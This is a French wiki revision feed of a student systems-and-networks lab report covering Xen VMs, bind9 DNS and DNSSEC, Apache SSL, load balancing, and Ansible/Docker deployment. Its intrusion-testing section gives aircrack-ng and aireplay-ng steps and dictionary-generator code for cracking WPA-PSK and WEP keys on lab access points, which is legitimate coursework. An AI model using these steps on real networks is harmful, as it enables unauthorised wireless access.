    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Pour tester la partie docker indépendamment, sur la machine secondaire:&lt;br /&gt;
:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
&lt;br /&gt;
Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install rsync&lt;br /&gt;
      apt:&lt;br /&gt;
        state: latest&lt;br /&gt;
        name: 'rsync'&lt;br /&gt;
  &lt;br /&gt;
    - name: transfer files&lt;br /&gt;
      copy:&lt;br /&gt;
        src: DockerFiles&lt;br /&gt;
        dest: /tmp/gr4/&lt;br /&gt;
      register: copy_output&lt;br /&gt;
    - debug: var=copy_output&lt;br /&gt;
  &lt;br /&gt;
    - name: build Docker image from Dockerfile&lt;br /&gt;
      docker_image:&lt;br /&gt;
        tag: latest&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: Create the container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: check if container is running&lt;br /&gt;
      shell: 'docker ps'&lt;br /&gt;
      register: docker_ps&lt;br /&gt;
    - debug: var=docker_ps.stdout_lines&lt;br /&gt;
  &lt;br /&gt;
    - name: Last&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: started&lt;br /&gt;
        recreate: yes&lt;br /&gt;
        ports:&lt;br /&gt;
        - &amp;quot;8004:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:&lt;br /&gt;
  #  - name: Try to stop container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: stopped&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete the image&lt;br /&gt;
  #    docker_image:&lt;br /&gt;
  #      name: image-for-chlamydiae&lt;br /&gt;
  #      tag: latest&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      force: yes&lt;br /&gt;
&lt;br /&gt;
Que l'on lance avec la commande:&lt;br /&gt;
  ansible-playbook file_name.yml&lt;br /&gt;
&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
  a2enmod proxy (au cas où mais ça s’active en même temps)&lt;br /&gt;
  a2enmod proxy_balancer&lt;br /&gt;
  a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Puis on redémarre Apache2:&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier chlamydiae.conf de apache2:&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:443&amp;gt;&lt;br /&gt;
                  ServerName www.chlamydiae.site&lt;br /&gt;
                  ServerAlias chlamydiae.site&lt;br /&gt;
                  DocumentRoot /var/www/html/&lt;br /&gt;
                  SSLEngine on&lt;br /&gt;
                  SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$&lt;br /&gt;
                  SSLCertificateKeyFile /etc/ssl/key/myserver.key&lt;br /&gt;
                  SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$&lt;br /&gt;
                  SSLVerifyclient NONE&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:80&amp;gt;&lt;br /&gt;
          ServerName www.chlamydiae.site&lt;br /&gt;
          ServerAlias chlamydiae.site&lt;br /&gt;
          Redirect / https://www.chlamydiae.site&lt;br /&gt;
          ProxyPass &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer/&amp;quot;&lt;br /&gt;
          ProxyPassReverse &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer&amp;quot;&lt;br /&gt;
          &amp;lt;Location &amp;quot;/balancer-manager&amp;quot;&amp;gt;&lt;br /&gt;
                  SetHandler balancer-manager&lt;br /&gt;
                  Require host 193.48.57.180&lt;br /&gt;
          &amp;lt;/Location&amp;gt;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://ourbalancer&amp;quot;&amp;gt;&lt;br /&gt;
          BalancerMember http://192.168.0.1:8004&lt;br /&gt;
          BalancerMember http://192.168.0.2:8004&lt;br /&gt;
          BalancerMember http://192.168.0.3:8004&lt;br /&gt;
          BalancerMember http://192.168.0.4:8004&lt;br /&gt;
          BalancerMember http://192.168.0.5:8004&lt;br /&gt;
          BalancerMember http://192.168.0.6:8004&lt;br /&gt;
          ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51819</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51819"/>
				<updated>2019-12-16T17:04:17Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Equilibreur de charge */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Chlamydiae on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;chlamydiae.site&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
